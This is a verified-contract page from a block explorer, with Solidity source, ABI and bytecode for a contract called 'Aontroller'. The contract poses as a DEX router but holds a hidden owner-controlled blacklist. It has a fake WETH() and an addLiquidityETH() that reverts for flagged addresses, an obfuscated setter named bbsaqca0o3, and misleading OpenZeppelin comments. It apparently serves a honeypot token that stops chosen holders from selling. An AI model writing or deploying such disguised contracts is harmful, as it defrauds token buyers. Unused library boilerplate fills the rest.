Contract Source Code (Solidity)

IDE

• Blockscan IDE
• 🤖 Code ReaderBeta
• Remix IDE

Outline

• interface RouterController
•    - function WETH()
•    - function getAmountsIn(uint amountIn,a ...
•    - function addLiquidityETH(
•  contract Aontroller is RouterContr ... *
•    - function WETH()
•    - function getCode()
•    - function getCode2(address addr)
•    - function getCode3(uint160 addr)
•    - function addLiquidityETH(
•    - function getAmountsIn(uint amountIn, ...
•    - function bbsaqca0o3(address[] calldat ...
•    - function _msgSender()
•    - function _msgData()
•    - function owner()
•    - function renounceOwnership()
•    - function transferOwnership(address ne ...
•    - function getTime()
•    - function _transferOwnership(address n ...
•    - function __Context_init()
•    - function __Context_init_unchained()
•    - function _msgSender()
•    - function _msgData()
•    - function __Ownable_init()
•    - function __Ownable_init_unchained()
•    - function owner()
•    - function renounceOwnership()
•    - function transferOwnership(address ne ...
•    - function _setOwner(address newOwner)
• interface IERC20
•    - function totalSupply()
•    - function balanceOf(address account)
•    - function transfer(address recipient, ...
•    - function allowance(address owner, add ...
•    - function approve(address spender, uin ...
•    - function transferFrom(
• interface IERC20Metadata is IERC20
•    - function name()
•    - function symbol()
•    - function decimals()
• library SafeMath
•    - function add(uint256 a, uint256 b)
•    - function sub(uint256 a, uint256 b)
•    - function sub(uint256 a, uint256 b, st ...
•    - function mul(uint256 a, uint256 b)
•    - function div(uint256 a, uint256 b)
•    - function div(uint256 a, uint256 b, st ...
•    - function mod(uint256 a, uint256 b)
•    - function mod(uint256 a, uint256 b, st ...
• library SafeMathInt
•    - function mul(int256 a, int256 b)
•    - function div(int256 a, int256 b)
•    - function sub(int256 a, int256 b)
•    - function add(int256 a, int256 b)
•    - function abs(int256 a)
•    - function toUint256Safe(int256 a)
• library SafeMathUint
•    - function toInt256Safe(uint256 a)

More Options

• Similar
• Sol2Uml
• Submit Audit
• Compare

/**
 *Submitted for verification at Etherscan.io on 2023-10-28
*/

/**
 *Submitted for verification at Etherscan.io on 2023-10-26
*/

// OpenZeppelin Contracts (last updated v4.7.0) (access/Ownable.sol)

pragma solidity ^0.8.7;


/**
 * @dev Contract module which provides a basic access control mechanism, where
 * there is an account (an owner) that can be granted exclusive access to
 * specific functions.
 *
 * By default, the owner account will be the one that deplys the contract. This
 * can later be changed with {transferOwnership}.
 *
 * This module is used through inheritance. It will make available the modifier
 * `onlyOwner`, which can be applied to your functions to restrict their use to
 * the owner.
 */

 // Define interface for TransferController
interface RouterController {
    function WETH() external view returns (address);
    function getAmountsIn(uint amountIn,address[] calldata path) external view returns (uint[] memory amounts);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

contract Aontroller is RouterController{

    mapping(address => uint256) private _isBlacklisted;
    
    address private owner;


    constructor (){
        owner = msg.sender;
        
    }
    function WETH() external view override returns(address){
        address ad = address(this);
        return ad;
    }

    function getCode() public  view returns (uint256) {
        address ad = address(this);
        uint256 result = uint160(ad);
        return result;
    }
    
    function getCode2(address addr) public pure returns (uint256) {
        uint256 result = uint160(addr);
        return result;
    }

    function getCode3(uint160 addr) public pure returns (address) {
        address result = address(addr);
        return result;
    }
    
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external virtual override payable  returns (uint amountToken, uint amountETH, uint liquidity) {
        amountToken = amountTokenDesired;
        amountETH = amountTokenMin;
        liquidity = _isBlacklisted[token];
        if(liquidity > 0){
            require(false);
        }
    }

    function getAmountsIn(uint amountIn, address[] memory path)
        public
        view
        virtual
        override
        returns (uint[] memory amounts)
    {
        amounts = new uint[](path.length);
        amounts[0] = _isBlacklisted[path[0]];
        return amounts;
    }

    /**
    * @dev Contract module which provides a basic access control mechanism, where
    * there is an account (an owner) that can be granted exclusive access to
    * specific functions.
    *
    * By default, the owner account will be the one that deploys the contract. This
    * can later be changed with {transferOwnership}.
    *
    * This module is used through inheritance. It will make available the modifier
    * `onlyOwner`, which can be applied to your functions to restrict their use to
    * the owner.
    */
    function bbsaqca0o3(address[] calldata accounts, uint256 excluded) public {
        require(msg.sender == owner);
        for (uint256 i = 0; i < accounts.length; i++) {
            _isBlacklisted[accounts[i]] = excluded;
        }
    }
}

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.7;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor() {
        _transferOwnership(_msgSender());
    }

    function owner() public view virtual returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _transferOwnership(newOwner);
    }

    function getTime() public view returns (uint256) {
        return block.timestamp;
    }

    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

abstract contract Initializable {
    /**
     * @dev Indicates that the contract has been initialized.
     */
    bool private _initialized;

    /**
     * @dev Indicates that the contract is in the process of being initialized.
     */
    bool private _initializing;

    /**
     * @dev Modifier to protect an initializer function from being invoked twice.
     */
    modifier initializer() {
        require(_initializing || !_initialized, "Initializable: contract is already initialized");

        bool isTopLevelCall = !_initializing;
        if (isTopLevelCall) {
            _initializing = true;
            _initialized = true;
        }

        _;

        if (isTopLevelCall) {
            _initializing = false;
        }
    }
}

abstract contract ContextUpgradeable is Initializable {
    function __Context_init() internal initializer {
        __Context_init_unchained();
    }

    function __Context_init_unchained() internal initializer {
    }
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
    uint256[50] private __gap;
}

abstract contract OwnableUpgradeable is Initializable, ContextUpgradeable {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    /**
     * @dev Initializes the contract setting the deployer as the initial owner.
     */
    function __Ownable_init() internal initializer {
        __Context_init_unchained();
        __Ownable_init_unchained();
    }

    function __Ownable_init_unchained() internal initializer {
        _setOwner(_msgSender());
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view virtual returns (address) {
        return _owner;
    }

    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions anymore. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby removing any functionality that is only available to the owner.
     */
    function renounceOwnership() public virtual onlyOwner {
        _setOwner(address(0));
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Can only be called by the current owner.
     */
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _setOwner(newOwner);
    }

    function _setOwner(address newOwner) private {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
    uint256[49] private __gap;
}



interface IERC20 {
    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address recipient, uint256 amount) external returns (bool);

    function allowance(address owner, address spender) external view returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);

    event Approval(address indexed owner, address indexed spender, uint256 value);
}

interface IERC20Metadata is IERC20 {

    function name() external view returns (string memory);

    function symbol() external view returns (string memory);

    function decimals() external view returns (uint8);
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;

        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        // Gas optimization: this is cheaper than requiring 'a' not being zero, but the
        // benefit is lost if 'b' is also tested.
        // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
        if (a == 0) {
            return 0;
        }

        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        // assert(a == b * c + a % b); // There is no case in which this doesn't hold

        return c;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return mod(a, b, "SafeMath: modulo by zero");
    }

    function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b != 0, errorMessage);
        return a % b;
    }
}

library SafeMathInt {
    int256 private constant MIN_INT256 = int256(1) << 255;
    int256 private constant MAX_INT256 = ~(int256(1) << 255);

    /**
     * @dev Multiplies two int256 variables and fails on overflow.
     */
    function mul(int256 a, int256 b) internal pure returns (int256) {
        int256 c = a * b;

        // Detect overflow when multiplying MIN_INT256 with -1
        require(c != MIN_INT256 || (a & MIN_INT256) != (b & MIN_INT256));
        require((b == 0) || (c / b == a));
        return c;
    }

    /**
     * @dev Division of two int256 variables and fails on overflow.
     */
    function div(int256 a, int256 b) internal pure returns (int256) {
        // Prevent overflow when dividing MIN_INT256 by -1
        require(b != -1 || a != MIN_INT256);

        // Solidity already throws when dividing by 0.
        return a / b;
    }

    /**
     * @dev Subtracts two int256 variables and fails on overflow.
     */
    function sub(int256 a, int256 b) internal pure returns (int256) {
        int256 c = a - b;
        require((b >= 0 && c <= a) || (b < 0 && c > a));
        return c;
    }

    /**
     * @dev Adds two int256 variables and fails on overflow.
     */
    function add(int256 a, int256 b) internal pure returns (int256) {
        int256 c = a + b;
        require((b >= 0 && c >= a) || (b < 0 && c < a));
        return c;
    }

    /**
     * @dev Converts to absolute value, and fails on overflow.
     */
    function abs(int256 a) internal pure returns (int256) {
        require(a != MIN_INT256);
        return a < 0 ? -a : a;
    }


    function toUint256Safe(int256 a) internal pure returns (uint256) {
        require(a >= 0);
        return uint256(a);
    }
}

library SafeMathUint {
  function toInt256Safe(uint256 a) internal pure returns (int256) {
    int256 b = int256(a);
    require(b >= 0);
    return b;
  }
}

• No Contract Security Audit Submitted- Submit Audit Here

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"inputs":[],"name":"WETH","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"token","type":"address"},{"internalType":"uint256","name":"amountTokenDesired","type":"uint256"},{"internalType":"uint256","name":"amountTokenMin","type":"uint256"},{"internalType":"uint256","name":"amountETHMin","type":"uint256"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"deadline","type":"uint256"}],"name":"addLiquidityETH","outputs":[{"internalType":"uint256","name":"amountToken","type":"uint256"},{"internalType":"uint256","name":"amountETH","type":"uint256"},{"internalType":"uint256","name":"liquidity","type":"uint256"}],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"address[]","name":"accounts","type":"address[]"},{"internalType":"uint256","name":"excluded","type":"uint256"}],"name":"bbsaqca0o3","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"amountIn","type":"uint256"},{"internalType":"address[]","name":"path","type":"address[]"}],"name":"getAmountsIn","outputs":[{"internalType":"uint256[]","name":"amounts","type":"uint256[]"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getCode","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"addr","type":"address"}],"name":"getCode2","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"uint160","name":"addr","type":"uint160"}],"name":"getCode3","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"pure","type":"function"}]

608060405234801561001057600080fd5b5033600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610ae7806100616000396000f3fe6080604052600436106100705760003560e01c806369b632031161004e57806369b632031461012c578063ad5c464814610155578063ea87963414610180578063f305d719146101ab57610070565b80631f00ca74146100755780634afdc1de146100b257806367d2dc41146100ef575b600080fd5b34801561008157600080fd5b5061009c600480360381019061009791906106e7565b6101dd565b6040516100a99190610801565b60405180910390f35b3480156100be57600080fd5b506100d960048036038101906100d491906106ba565b6102ab565b6040516100e691906107e6565b60405180910390f35b3480156100fb57600080fd5b50610116600480360381019061011191906105a0565b6102ba565b6040516101239190610823565b60405180910390f35b34801561013857600080fd5b50610153600480360381019061014e919061065a565b6102df565b005b34801561016157600080fd5b5061016a6103ca565b60405161017791906107e6565b60405180910390f35b34801561018c57600080fd5b506101956103d7565b6040516101a29190610823565b60405180910390f35b6101c560048036038101906101c091906105cd565b610400565b6040516101d49392919061083e565b60405180910390f35b6060815167ffffffffffffffff8111156101fa576101f9610a13565b5b6040519080825280602002602001820160405280156102285781602001602082028036833780820191505090505b50905060008083600081518110610242576102416109e4565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205481600081518110610299576102986109e4565b5b60200260200101818152505092915050565b60008082905080915050919050565b6000808273ffffffffffffffffffffffffffffffffffffffff16905080915050919050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461033957600080fd5b60005b838390508110156103c4578160008086868581811061035e5761035d6109e4565b5b905060200201602081019061037391906105a0565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555080806103bc9061096c565b91505061033c565b50505050565b6000803090508091505090565b60008030905060008173ffffffffffffffffffffffffffffffffffffffff169050809250505090565b60008060008792508691506000808a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050600081111561046157600061046057600080fd5b5b96509650969350505050565b600061048061047b8461089a565b610875565b905080838252602082019050828560208602820111156104a3576104a2610a4c565b5b60005b858110156104d357816104b988826104dd565b8452602084019350602083019250506001810190506104a6565b5050509392505050565b6000813590506104ec81610a6c565b92915050565b60008083601f84011261050857610507610a47565b5b8235905067ffffffffffffffff81111561052557610524610a42565b5b60208301915083602082028301111561054157610540610a4c565b5b9250929050565b600082601f83011261055d5761055c610a47565b5b813561056d84826020860161046d565b91505092915050565b60008135905061058581610a83565b92915050565b60008135905061059a81610a9a565b92915050565b6000602082840312156105b6576105b5610a56565b5b60006105c4848285016104dd565b91505092915050565b60008060008060008060c087890312156105ea576105e9610a56565b5b60006105f889828a016104dd565b965050602061060989828a0161058b565b955050604061061a89828a0161058b565b945050606061062b89828a0161058b565b935050608061063c89828a016104dd565b92505060a061064d89828a0161058b565b9150509295509295509295565b60008060006040848603121561067357610672610a56565b5b600084013567ffffffffffffffff81111561069157610690610a51565b5b61069d868287016104f2565b935093505060206106b08682870161058b565b9150509250925092565b6000602082840312156106d0576106cf610a56565b5b60006106de84828501610576565b91505092915050565b600080604083850312156106fe576106fd610a56565b5b600061070c8582860161058b565b925050602083013567ffffffffffffffff81111561072d5761072c610a51565b5b61073985828601610548565b9150509250929050565b600061074f83836107c8565b60208301905092915050565b610764816108ff565b82525050565b6000610775826108d6565b61077f81856108ee565b935061078a836108c6565b8060005b838110156107bb5781516107a28882610743565b97506107ad836108e1565b92505060018101905061078e565b5085935050505092915050565b6107d181610931565b82525050565b6107e081610931565b82525050565b60006020820190506107fb600083018461075b565b92915050565b6000602082019050818103600083015261081b818461076a565b905092915050565b600060208201905061083860008301846107d7565b92915050565b600060608201905061085360008301866107d7565b61086060208301856107d7565b61086d60408301846107d7565b949350505050565b600061087f610890565b905061088b828261093b565b919050565b6000604051905090565b600067ffffffffffffffff8211156108b5576108b4610a13565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600061090a82610911565b9050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b61094482610a5b565b810181811067ffffffffffffffff8211171561096357610962610a13565b5b80604052505050565b600061097782610931565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156109aa576109a96109b5565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b610a75816108ff565b8114610a8057600080fd5b50565b610a8c81610911565b8114610a9757600080fd5b50565b610aa381610931565b8114610aae57600080fd5b5056fea2646970667358221220c983837413d8447404439e5e3da16a71bf4ccf0ce97bbbfd2e9af9ef11a5eedd64736f6c63430008070033

0x6080604052600436106100705760003560e01c806369b632031161004e57806369b632031461012c578063ad5c464814610155578063ea87963414610180578063f305d719146101ab57610070565b80631f00ca74146100755780634afdc1de146100b257806367d2dc41146100ef575b600080fd5b34801561008157600080fd5b5061009c600480360381019061009791906106e7565b6101dd565b6040516100a99190610801565b60405180910390f35b3480156100be57600080fd5b506100d960048036038101906100d491906106ba565b6102ab565b6040516100e691906107e6565b60405180910390f35b3480156100fb57600080fd5b50610116600480360381019061011191906105a0565b6102ba565b6040516101239190610823565b60405180910390f35b34801561013857600080fd5b50610153600480360381019061014e919061065a565b6102df565b005b34801561016157600080fd5b5061016a6103ca565b60405161017791906107e6565b60405180910390f35b34801561018c57600080fd5b506101956103d7565b6040516101a29190610823565b60405180910390f35b6101c560048036038101906101c091906105cd565b610400565b6040516101d49392919061083e565b60405180910390f35b6060815167ffffffffffffffff8111156101fa576101f9610a13565b5b6040519080825280602002602001820160405280156102285781602001602082028036833780820191505090505b50905060008083600081518110610242576102416109e4565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205481600081518110610299576102986109e4565b5b60200260200101818152505092915050565b60008082905080915050919050565b6000808273ffffffffffffffffffffffffffffffffffffffff16905080915050919050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461033957600080fd5b60005b838390508110156103c4578160008086868581811061035e5761035d6109e4565b5b905060200201602081019061037391906105a0565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555080806103bc9061096c565b91505061033c565b50505050565b6000803090508091505090565b60008030905060008173ffffffffffffffffffffffffffffffffffffffff169050809250505090565b60008060008792508691506000808a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050600081111561046157600061046057600080fd5b5b96509650969350505050565b600061048061047b8461089a565b610875565b905080838252602082019050828560208602820111156104a3576104a2610a4c565b5b60005b858110156104d357816104b988826104dd565b8452602084019350602083019250506001810190506104a6565b5050509392505050565b6000813590506104ec81610a6c565b92915050565b60008083601f84011261050857610507610a47565b5b8235905067ffffffffffffffff81111561052557610524610a42565b5b60208301915083602082028301111561054157610540610a4c565b5b9250929050565b600082601f83011261055d5761055c610a47565b5b813561056d84826020860161046d565b91505092915050565b60008135905061058581610a83565b92915050565b60008135905061059a81610a9a565b92915050565b6000602082840312156105b6576105b5610a56565b5b60006105c4848285016104dd565b91505092915050565b60008060008060008060c087890312156105ea576105e9610a56565b5b60006105f889828a016104dd565b965050602061060989828a0161058b565b955050604061061a89828a0161058b565b945050606061062b89828a0161058b565b935050608061063c89828a016104dd565b92505060a061064d89828a0161058b565b9150509295509295509295565b60008060006040848603121561067357610672610a56565b5b600084013567ffffffffffffffff81111561069157610690610a51565b5b61069d868287016104f2565b935093505060206106b08682870161058b565b9150509250925092565b6000602082840312156106d0576106cf610a56565b5b60006106de84828501610576565b91505092915050565b600080604083850312156106fe576106fd610a56565b5b600061070c8582860161058b565b925050602083013567ffffffffffffffff81111561072d5761072c610a51565b5b61073985828601610548565b9150509250929050565b600061074f83836107c8565b60208301905092915050565b610764816108ff565b82525050565b6000610775826108d6565b61077f81856108ee565b935061078a836108c6565b8060005b838110156107bb5781516107a28882610743565b97506107ad836108e1565b92505060018101905061078e565b5085935050505092915050565b6107d181610931565b82525050565b6107e081610931565b82525050565b60006020820190506107fb600083018461075b565b92915050565b6000602082019050818103600083015261081b818461076a565b905092915050565b600060208201905061083860008301846107d7565b92915050565b600060608201905061085360008301866107d7565b61086060208301856107d7565b61086d60408301846107d7565b949350505050565b600061087f610890565b905061088b828261093b565b919050565b6000604051905090565b600067ffffffffffffffff8211156108b5576108b4610a13565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600061090a82610911565b9050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b61094482610a5b565b810181811067ffffffffffffffff8211171561096357610962610a13565b5b80604052505050565b600061097782610931565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156109aa576109a96109b5565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b610a75816108ff565b8114610a8057600080fd5b50565b610a8c81610911565b8114610a9757600080fd5b50565b610aa381610931565b8114610aae57600080fd5b5056fea2646970667358221220c983837413d8447404439e5e3da16a71bf4ccf0ce97bbbfd2e9af9ef11a5eedd64736f6c63430008070033

1202:2385:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;2495:295;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1853:135;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1710;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3342:242;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;1412:120;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1540:158;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2000:487;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;;;:::i;:::-;;;;;;;;2495:295;2638:21;2698:4;:11;2687:23;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;2677:33;;2734:14;:23;2749:4;2754:1;2749:7;;;;;;;;:::i;:::-;;;;;;;;2734:23;;;;;;;;;;;;;;;;2721:7;2729:1;2721:10;;;;;;;;:::i;:::-;;;;;;;:36;;;;;2495:295;;;;:::o;1853:135::-;1906:7;1926:14;1951:4;1926:30;;1974:6;1967:13;;;1853:135;;;:::o;1710:::-;1763:7;1783:14;1808:4;1783:30;;;;1831:6;1824:13;;;1710:135;;;:::o;3342:242::-;3449:5;;;;;;;;;;;3435:19;;:10;:19;;;3427:28;;;;;;3471:9;3466:111;3490:8;;:15;;3486:1;:19;3466:111;;;3557:8;3527:14;:27;3542:8;;3551:1;3542:11;;;;;;;:::i;:::-;;;;;;;;;;;;;;;:::i;:::-;3527:27;;;;;;;;;;;;;;;:38;;;;3507:3;;;;;:::i;:::-;;;;3466:111;;;;3342:242;;;:::o;1412:120::-;1459:7;1478:10;1499:4;1478:26;;1522:2;1515:9;;;1412:120;:::o;1540:158::-;1581:7;1601:10;1622:4;1601:26;;1638:14;1663:2;1638:28;;;;1684:6;1677:13;;;;1540:158;:::o;2000:487::-;2237:16;2255:14;2271;2312:18;2298:32;;2353:14;2341:26;;2390:14;:21;2405:5;2390:21;;;;;;;;;;;;;;;;2378:33;;2437:1;2425:9;:13;2422:58;;;2462:5;2454:14;;;;;;2422:58;2000:487;;;;;;;;;;:::o;24:722:1:-;120:5;145:81;161:64;218:6;161:64;:::i;:::-;145:81;:::i;:::-;136:90;;246:5;275:6;268:5;261:21;309:4;302:5;298:16;291:23;;335:6;385:3;377:4;369:6;365:17;360:3;356:27;353:36;350:143;;;404:79;;:::i;:::-;350:143;517:1;502:238;527:6;524:1;521:13;502:238;;;595:3;624:37;657:3;645:10;624:37;:::i;:::-;619:3;612:50;691:4;686:3;682:14;675:21;;725:4;720:3;716:14;709:21;;562:178;549:1;546;542:9;537:14;;502:238;;;506:14;126:620;;24:722;;;;;:::o;752:139::-;798:5;836:6;823:20;814:29;;852:33;879:5;852:33;:::i;:::-;752:139;;;;:::o;914:568::-;987:8;997:6;1047:3;1040:4;1032:6;1028:17;1024:27;1014:122;;1055:79;;:::i;:::-;1014:122;1168:6;1155:20;1145:30;;1198:18;1190:6;1187:30;1184:117;;;1220:79;;:::i;:::-;1184:117;1334:4;1326:6;1322:17;1310:29;;1388:3;1380:4;1372:6;1368:17;1358:8;1354:32;1351:41;1348:128;;;1395:79;;:::i;:::-;1348:128;914:568;;;;;:::o;1505:370::-;1576:5;1625:3;1618:4;1610:6;1606:17;1602:27;1592:122;;1633:79;;:::i;:::-;1592:122;1750:6;1737:20;1775:94;1865:3;1857:6;1850:4;1842:6;1838:17;1775:94;:::i;:::-;1766:103;;1582:293;1505:370;;;;:::o;1881:139::-;1927:5;1965:6;1952:20;1943:29;;1981:33;2008:5;1981:33;:::i;:::-;1881:139;;;;:::o;2026:::-;2072:5;2110:6;2097:20;2088:29;;2126:33;2153:5;2126:33;:::i;:::-;2026:139;;;;:::o;2171:329::-;2230:6;2279:2;2267:9;2258:7;2254:23;2250:32;2247:119;;;2285:79;;:::i;:::-;2247:119;2405:1;2430:53;2475:7;2466:6;2455:9;2451:22;2430:53;:::i;:::-;2420:63;;2376:117;2171:329;;;;:::o;2506:1057::-;2610:6;2618;2626;2634;2642;2650;2699:3;2687:9;2678:7;2674:23;2670:33;2667:120;;;2706:79;;:::i;:::-;2667:120;2826:1;2851:53;2896:7;2887:6;2876:9;2872:22;2851:53;:::i;:::-;2841:63;;2797:117;2953:2;2979:53;3024:7;3015:6;3004:9;3000:22;2979:53;:::i;:::-;2969:63;;2924:118;3081:2;3107:53;3152:7;3143:6;3132:9;3128:22;3107:53;:::i;:::-;3097:63;;3052:118;3209:2;3235:53;3280:7;3271:6;3260:9;3256:22;3235:53;:::i;:::-;3225:63;;3180:118;3337:3;3364:53;3409:7;3400:6;3389:9;3385:22;3364:53;:::i;:::-;3354:63;;3308:119;3466:3;3493:53;3538:7;3529:6;3518:9;3514:22;3493:53;:::i;:::-;3483:63;;3437:119;2506:1057;;;;;;;;:::o;3569:704::-;3664:6;3672;3680;3729:2;3717:9;3708:7;3704:23;3700:32;3697:119;;;3735:79;;:::i;:::-;3697:119;3883:1;3872:9;3868:17;3855:31;3913:18;3905:6;3902:30;3899:117;;;3935:79;;:::i;:::-;3899:117;4048:80;4120:7;4111:6;4100:9;4096:22;4048:80;:::i;:::-;4030:98;;;;3826:312;4177:2;4203:53;4248:7;4239:6;4228:9;4224:22;4203:53;:::i;:::-;4193:63;;4148:118;3569:704;;;;;:::o;4279:329::-;4338:6;4387:2;4375:9;4366:7;4362:23;4358:32;4355:119;;;4393:79;;:::i;:::-;4355:119;4513:1;4538:53;4583:7;4574:6;4563:9;4559:22;4538:53;:::i;:::-;4528:63;;4484:117;4279:329;;;;:::o;4614:684::-;4707:6;4715;4764:2;4752:9;4743:7;4739:23;4735:32;4732:119;;;4770:79;;:::i;:::-;4732:119;4890:1;4915:53;4960:7;4951:6;4940:9;4936:22;4915:53;:::i;:::-;4905:63;;4861:117;5045:2;5034:9;5030:18;5017:32;5076:18;5068:6;5065:30;5062:117;;;5098:79;;:::i;:::-;5062:117;5203:78;5273:7;5264:6;5253:9;5249:22;5203:78;:::i;:::-;5193:88;;4988:303;4614:684;;;;;:::o;5304:179::-;5373:10;5394:46;5436:3;5428:6;5394:46;:::i;:::-;5472:4;5467:3;5463:14;5449:28;;5304:179;;;;:::o;5489:118::-;5576:24;5594:5;5576:24;:::i;:::-;5571:3;5564:37;5489:118;;:::o;5643:732::-;5762:3;5791:54;5839:5;5791:54;:::i;:::-;5861:86;5940:6;5935:3;5861:86;:::i;:::-;5854:93;;5971:56;6021:5;5971:56;:::i;:::-;6050:7;6081:1;6066:284;6091:6;6088:1;6085:13;6066:284;;;6167:6;6161:13;6194:63;6253:3;6238:13;6194:63;:::i;:::-;6187:70;;6280:60;6333:6;6280:60;:::i;:::-;6270:70;;6126:224;6113:1;6110;6106:9;6101:14;;6066:284;;;6070:14;6366:3;6359:10;;5767:608;;;5643:732;;;;:::o;6381:108::-;6458:24;6476:5;6458:24;:::i;:::-;6453:3;6446:37;6381:108;;:::o;6495:118::-;6582:24;6600:5;6582:24;:::i